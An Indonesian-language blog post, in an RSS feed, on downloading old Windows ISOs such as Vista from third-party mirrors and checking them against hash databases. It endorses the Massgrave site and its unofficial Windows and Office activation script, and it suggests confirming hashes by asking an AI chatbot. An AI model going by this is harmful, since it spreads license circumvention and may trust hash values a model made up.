&lt;/section&gt;</content:encoded></item><item><title>How and Where to Download Windows ISO file?</title><link>https://shangdi.github.io/posts/tech/windownload/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/windownload/</guid><description>Have you ever been struggling to find and download an official Windows ISO file? Let me tell you the way I did that flawlessly.</description><pubDate>Sun, 05 Jul 2026 07:19:09 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Sekapur Sirih&lt;a href=&quot;#sekapur-sirih&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kemarin, saya mau bernostalgia dengan Windows Vista. Jadi, saya putuskan untuk menggunakan &lt;code&gt;docker compose&lt;/code&gt; untuk men-&lt;em&gt;download&lt;/em&gt; Windows Vista tersebut (lihat di bawah untuk mengintai file konfigurasinya). Tetapi, masalah datang, saya tidak benar-benar mendapatkan fitur penuh Windows Vista dari docker tersebut. Misalnya, saya tidak bisa mengakses fitur &lt;strong&gt;Windows Sidebar&lt;/strong&gt; (atau di beberapa versi Windows lain -Windows 7- disebut Windows Widget). Error yang muncul adalah “&lt;strong&gt;&lt;em&gt;Windows sidebar is managed by your system administrator&lt;/em&gt;&lt;/strong&gt;”. Setelah diskusi di discord komunitas (Bob Pony) dan berkonsultasi ke AI (Antrophic Claude), akhirnya, saya memutuskan menyerah dan mencoba mencari alternatif lain (karena dugaan saya, komunitas, dan AI, itu disebabkan konfigurasi Windows Vista dari provider .iso tersebut memang di-desain untuk optimal dan cepat, bukan lengkap).&lt;/p&gt;&lt;p&gt;File konfigurasi &lt;code&gt;docker compose&lt;/code&gt; saya:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;docker-compose.yml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;services&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;windows&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;image&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;dockurr/windows&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;container_name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;windows-vista&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;VERSION&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;vu&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;USERNAME&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;winvista&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;PASSWORD&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;winvista123&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;devices&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/dev/kvm&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;/dev/net/tun&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;cap_add&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;NET_ADMIN&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ports&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;8006:8006&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;3389:3389/tcp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;3389:3389/udp&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;volumes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;./windowsVista:/storage&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;      &lt;/span&gt;&lt;/span&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;./sharingDirVis:/shared&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;restart&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;no&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;stop_grace_period&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;2m&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Btw, saya juga nulis dikit-dikit soal docker lho!&lt;/p&gt;&lt;a href=&quot;/posts/tech/docker/&quot;&gt;&lt;div&gt;&lt;div&gt;Docker: A Powerful Containerization Platform (+ Lazydocker)&lt;/div&gt;&lt;div&gt;Deploying software often requires bunch of resources. However, the emergence of containerization platforms such as Docker has made it more convenient and docile, yet your software works flawlessly.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2026-04-13&lt;/span&gt;&lt;span&gt;docker&lt;/span&gt;&lt;span&gt;&lt;span&gt;#docker&lt;/span&gt;&lt;span&gt;#lazydocker&lt;/span&gt;&lt;span&gt;#container&lt;/span&gt;&lt;span&gt;#dockerhub&lt;/span&gt;&lt;span&gt;#docker-compose&lt;/span&gt;&lt;span&gt;#containerization&lt;/span&gt;&lt;span&gt;#yaml&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; src=&quot;/_astro/featured.D_ADLm18_2cV9Sm.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Jadi, apa alternatifnya?&lt;br /&gt;
Saya memutuskan untuk mencari sendiri file ISO Windows Vista dan meng-&lt;em&gt;install&lt;/em&gt;-nya nanti langsung sebagai &lt;em&gt;Virtual Machine&lt;/em&gt; menggunakan &lt;code&gt;virt-manager&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Nah, tantangannya sekarang adalah tidak mudah menemukan file ISO Windows Vista (yang mana sudah lawas) yang official (atau sebut saja bersih/tidak disusupi malware atau semacamnya). Sebab, normalnya, kalau kita ingin mengunduh file ISO Windows terkini (Windows 11/Windows 10), kita bisa mengunjungi website Microsoft, karena memang mereka menyediakannya:&lt;/p&gt;&lt;p&gt;Website Microsoft untuk &lt;em&gt;download&lt;/em&gt; ISO Windows 10:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.microsoft.com/en-us/software-download/windows10ISO&quot; target=&quot;_blank&quot;&gt;https://www.microsoft.com/en-us/software-download/windows10ISO&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Website Microsoft untuk &lt;em&gt;download&lt;/em&gt; ISO Windows 11:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.microsoft.com/en-us/software-download/windows11&quot; target=&quot;_blank&quot;&gt;https://www.microsoft.com/en-us/software-download/windows11&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Namun, seperti saya bilang tadi, Microsoft tidak lagi menyediakan file ISO Windows-Windows lawas seperti Windows 8, Windows 7, Windows Vista, dan Windows-Windows sebelumnya. Tentu sangat logis, mengingat merekalah yang nanti akan bertanggung jawab jika ada insiden &lt;em&gt;hacking&lt;/em&gt; ke &lt;em&gt;software-software&lt;/em&gt; lawas (yang pasti sudah tidak di-&lt;em&gt;support&lt;/em&gt; lagi &lt;em&gt;update&lt;/em&gt; dan &lt;em&gt;patch&lt;/em&gt;-nya) yang digunakan oleh pelanggan / penggunanya. Maka, (sangat) masuk akal jika mereka men-&lt;em&gt;stop&lt;/em&gt; distribusi ISO Windows lama.&lt;/p&gt;&lt;p&gt;Tapi, buat orang seperti saya (yang pengen nostalgia), tentu ini sangat merepotkan. Hehe.&lt;/p&gt;&lt;p&gt;Jadi, (lagi-lagi, setelah bertanya ke komunitas) saya akhirnya bisa menemukan cara “ilmiah” untuk mendapatkan ISO Windows-Windows lawas itu, termasuk Windows yang sedang saya cari: &lt;strong&gt;Windows Vista&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The (Official) Places?&lt;a href=&quot;#the-official-places&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saya gak mau sebut website-website tempat saya mengunduh file ISO Windows ini sebagai “official”, maka saya harus meletakkan kata “official” itu di dalam tanda kurung. Sebab, saya gak bisa pastikan bahwa website-website penyedia ISO Windows ini memang mengambil ISO tersebut dari Microsoft. Meskipun demikian, ada cara untuk kita memverifikasi integritas file ISO tersebut yang nanti akan saya jelaskan.&lt;/p&gt;&lt;p&gt;Berikut adalah website-website yang dapat digunakan untuk mengunduh file ISO Windows:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Bob Pony&lt;a href=&quot;#1-bob-pony&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://bobpony.com/downloads/&quot; target=&quot;_blank&quot;&gt;https://bobpony.com/downloads/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Bob Pony website&quot; loading=&quot;lazy&quot; width=&quot;1574&quot; height=&quot;792&quot; src=&quot;/_astro/ss1.DktOEXz3_S7fP7.webp&quot; /&gt;&lt;figcaption&gt;Bob Pony website&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini adalah website yang digunakan oleh &lt;a href=&quot;https://hub.docker.com/r/dockurr/windows&quot; target=&quot;_blank&quot;&gt;Dockurr dari Docker&lt;/a&gt; untuk men-&lt;em&gt;download&lt;/em&gt; file-file ISO Windows-nya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Massgrave&lt;a href=&quot;#2-massgrave&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://massgrave.dev/genuine-installation-media&quot; target=&quot;_blank&quot;&gt;https://massgrave.dev/genuine-installation-media&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Massgrave website&quot; loading=&quot;lazy&quot; width=&quot;1576&quot; height=&quot;840&quot; src=&quot;/_astro/ss2.BL5tIhMD_ZSJ8vE.webp&quot; /&gt;&lt;figcaption&gt;Massgrave website&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini adalah website yang pernah saya gunakan untuk mengaktivasi Windows (dan Office) karena memang website ini menurut saya adalah pakar di bidang “aktiviasi” Windows &amp;amp; Office. Tapi, selain itu, website ini juga (ternyata) menyediakan file ISO Windows.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Saya juga pernah bahas cara aktivasi Windows dengan script dari Massgrave ini:&lt;/p&gt;&lt;a href=&quot;/posts/tech/mas/&quot;&gt;&lt;div&gt;&lt;div&gt;Windows License Activation with MAS&lt;/div&gt;&lt;div&gt;A simple way to activate your Windows license using Microsoft Activation Script (MAS).&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-04-21&lt;/span&gt;&lt;span&gt;mas&lt;/span&gt;&lt;span&gt;&lt;span&gt;#mas&lt;/span&gt;&lt;span&gt;#windows&lt;/span&gt;&lt;span&gt;#script&lt;/span&gt;&lt;span&gt;#powershell&lt;/span&gt;&lt;span&gt;#seb&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Kalian bisa baca-baca artikel di atas, terutama jika tertarik untuk tau cara mengaktivasi Windows dan status legalitas script ini.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Bahan Renungan&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Apakah orang dibalik kedua website tersebut (&lt;strong&gt;Bob Pony&lt;/strong&gt; &amp;amp; &lt;strong&gt;Massgrave&lt;/strong&gt;) adalah orang yang sama? Saya tidak tahu, tidak cari tahu juga, dan (rasanya) gak perlu tahu. Kalau kalian ingin tahu, silakan cari tahu sendiri, hehe.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Cara Verifikasi&lt;a href=&quot;#cara-verifikasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Nah, cara verifikasinya mudah. Seperti kita tahu bersama, cara memverifikasi keaslian (atau integritas, bahasa komunitasnya) suatu file, kita bisa melihat dan membandingkan hash value dari filenya (&lt;strong&gt;&lt;em&gt;checksum&lt;/em&gt;&lt;/strong&gt;).&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Dalam cyber security, integritas (integrity) adalah salah satu dari triad-CIA (Confidentiality, Integrity, Availability), yang fungsinya adalah menjamin bahwa data tetap akurat, utuh, dan tidak diubah atau dirusak oleh pihak yang tidak bertanggung jawab.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kita bisa melihat daftar hash value dari setiap iso file di website-website berikut:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Bob Pony&lt;a href=&quot;#1-bob-pony-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://dl.bobpony.com/&quot; target=&quot;_blank&quot;&gt;https://dl.bobpony.com/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MD5 txt file from Bob Pony website&quot; loading=&quot;lazy&quot; width=&quot;1579&quot; height=&quot;1001&quot; src=&quot;/_astro/ss3.NlzlT2u5_ffFv.webp&quot; /&gt;&lt;figcaption&gt;MD5 txt file from Bob Pony website&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, di website tersebut, Bob Pony juga menyertakan sebuah file .txt yang berisi hash MD5 dari setiap file Windows iso yang dia punya di websitenya. Jadi, ketika kita selesai mengunduh sebuah iso file, kita bisa mengecek MD5 hash value dari website tersebut kemudian membandingkannya dengan MD5 hash yang ada di file .txt tersebut. Jika sama, berarti file ISO kita tidak rusak.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MD5 hash value check&quot; loading=&quot;lazy&quot; width=&quot;1386&quot; height=&quot;946&quot; src=&quot;/_astro/ss4.DrjcSkta_Z27AS8M.webp&quot; /&gt;&lt;figcaption&gt;MD5 hash value check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya bandingkan hash value dari file ISO Windows Vista saya dengan hash MD5 yang ada di website Bob Pony, hasilnya, MD5 hash value-nya &lt;strong&gt;sama&lt;/strong&gt;. Website ini hanya menyediakan 1 jenis hash saja: MD5.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Rgadguard&lt;a href=&quot;#2-rgadguard&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Ada 3 sub-domain di website ini yang menyediakan database hash file ISO Windows:&lt;/p&gt;&lt;section&gt;&lt;h4&gt;A. files.rg-adguard.net&lt;a href=&quot;#a-filesrg-adguardnet&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://files.rg-adguard.net/search&quot; target=&quot;_blank&quot;&gt;https://files.rg-adguard.net/search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rgadguard website (files subdomain)&quot; loading=&quot;lazy&quot; width=&quot;1578&quot; height=&quot;551&quot; src=&quot;/_astro/ss5.B2_TJtn0_ZvxKc5.webp&quot; /&gt;&lt;figcaption&gt;rgadguard website (files subdomain)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Menurut website Massgrave, website &lt;strong&gt;rgadguard&lt;/strong&gt; yang ini adalah website yang menyediakan koleksi hash file ISO Windows paling lengkap.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt; Di website ini, kita bisa melakukan &lt;em&gt;checksum&lt;/em&gt; menggunakan 4 jenis hash: MD5, SHA-1, SHA-256, dan SHA-512.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-8&quot;&gt;8&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MD5 hash value check&quot; loading=&quot;lazy&quot; width=&quot;1516&quot; height=&quot;916&quot; src=&quot;/_astro/ss6.aYvyuT6w_Z26HJ8y.webp&quot; /&gt;&lt;figcaption&gt;MD5 hash value check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya bandingkan hash value dari file ISO Windows Vista saya dengan hash MD5 yang ada di website rgadguard, hasilnya, MD5 hash value-nya &lt;strong&gt;sama&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;B. msdn.rg-adguard.net&lt;a href=&quot;#b-msdnrg-adguardnet&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://msdn.rg-adguard.net/&quot; target=&quot;_blank&quot;&gt;https://msdn.rg-adguard.net/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rgadguard website (msdn subdomain)&quot; loading=&quot;lazy&quot; width=&quot;1576&quot; height=&quot;999&quot; src=&quot;/_astro/ss9.Cf1bNHC2_Z7D0Pa.webp&quot; /&gt;&lt;figcaption&gt;rgadguard website (msdn subdomain)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini adalah sub-domain dari website yang sama (rgadguard). Kita juga dapat mencari hash value dari file ISO Windows kita di sini. Tapi, di sini kita hanya disediakan 2 jenis hash saja: SHA1 dan SHA256.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-9&quot;&gt;9&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SHA1 hash value check&quot; loading=&quot;lazy&quot; width=&quot;1594&quot; height=&quot;946&quot; src=&quot;/_astro/ss10.BYCIxbbh_M5lWn.webp&quot; /&gt;&lt;figcaption&gt;SHA1 hash value check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya bandingkan hash value dari file ISO Windows Vista saya dengan hash SHA1 yang ada di website rgadguard, hasilnya, SHA1 hash value-nya &lt;strong&gt;sama&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;C. sha1.rg-adguard.net&lt;a href=&quot;#c-sha1rg-adguardnet&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://sha1.rg-adguard.net/&quot; target=&quot;_blank&quot;&gt;https://sha1.rg-adguard.net/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rgadguard website (sha1 subdomain)&quot; loading=&quot;lazy&quot; width=&quot;1576&quot; height=&quot;392&quot; src=&quot;/_astro/ss11.DxuRStwQ_Z1dAUV2.webp&quot; /&gt;&lt;figcaption&gt;rgadguard website (sha1 subdomain)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini juga adalah sub-domain dari website yang sama (rgadguard). Meskipun kita juga dapat mencari hash value dari file ISO Windows kita di sini, tapi jenis hash yang disediakan hanya 1, yaitu SHA1.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-10&quot;&gt;10&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SHA1 hash value check&quot; loading=&quot;lazy&quot; width=&quot;1641&quot; height=&quot;1058&quot; src=&quot;/_astro/ss12.dux-2408_1oqDme.webp&quot; /&gt;&lt;figcaption&gt;SHA1 hash value check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya bandingkan hash value dari file ISO Windows Vista saya dengan hash SHA1 yang ada di website rgadguard, hasilnya, SHA1 hash value-nya &lt;strong&gt;sama&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. MVS Dump&lt;a href=&quot;#3-mvs-dump&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://awuctl.github.io/mvs/&quot; target=&quot;_blank&quot;&gt;https://awuctl.github.io/mvs/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MVS dump website&quot; loading=&quot;lazy&quot; width=&quot;1579&quot; height=&quot;943&quot; src=&quot;/_astro/ss7.BwMPOqAd_lXTth.webp&quot; /&gt;&lt;figcaption&gt;MVS dump website&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ini adalah alternatif website yang juga dapat digunakan untuk melakukan verifikasi integritas file (&lt;strong&gt;&lt;em&gt;checksum&lt;/em&gt;&lt;/strong&gt;). Kita hanya bisa menggunakan 2 jenis hash di sini: SHA-1 dan SHA-256.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-11&quot;&gt;11&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SHA1 hash value check&quot; loading=&quot;lazy&quot; width=&quot;1482&quot; height=&quot;965&quot; src=&quot;/_astro/ss8.CKpAaJ94_1EuhPH.webp&quot; /&gt;&lt;figcaption&gt;SHA1 hash value check&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, saya bandingkan hash value dari file ISO Windows Vista saya dengan hash SHA1 yang ada di website MVS Dump, hasilnya, SHA1 hash value-nya &lt;strong&gt;sama&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Google &amp;amp; AI&lt;a href=&quot;#google--ai&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selain itu, kita juga bisa memverifikasi hash value dari file ISO Windows kita dengan men-googling-nya saja di internet atau bertanya melalui AI seperti ChatGPT, Gemini, Claude, Meta, dan lain sebagainya.&lt;/p&gt;&lt;p&gt;Intinya, cara memverifikasi hash suatu file hanya 2:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Lihat hash value dari file ISO Windows.&lt;/li&gt;
&lt;li&gt;Bandingkan dengan database hash value file ISO Windows terkait (bisa di website-website yang sudah saya berikan atau di Google dan tanya di AI).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sekian.&lt;br /&gt;
Terima kasih sudah membaca.&lt;br /&gt;
Sampai berjumpa lagi di artikel-artikel saya yang lain!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.microsoft.com/en-us/software-download/windows10ISO&quot; target=&quot;_blank&quot;&gt;https://www.microsoft.com/en-us/software-download/windows10ISO&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
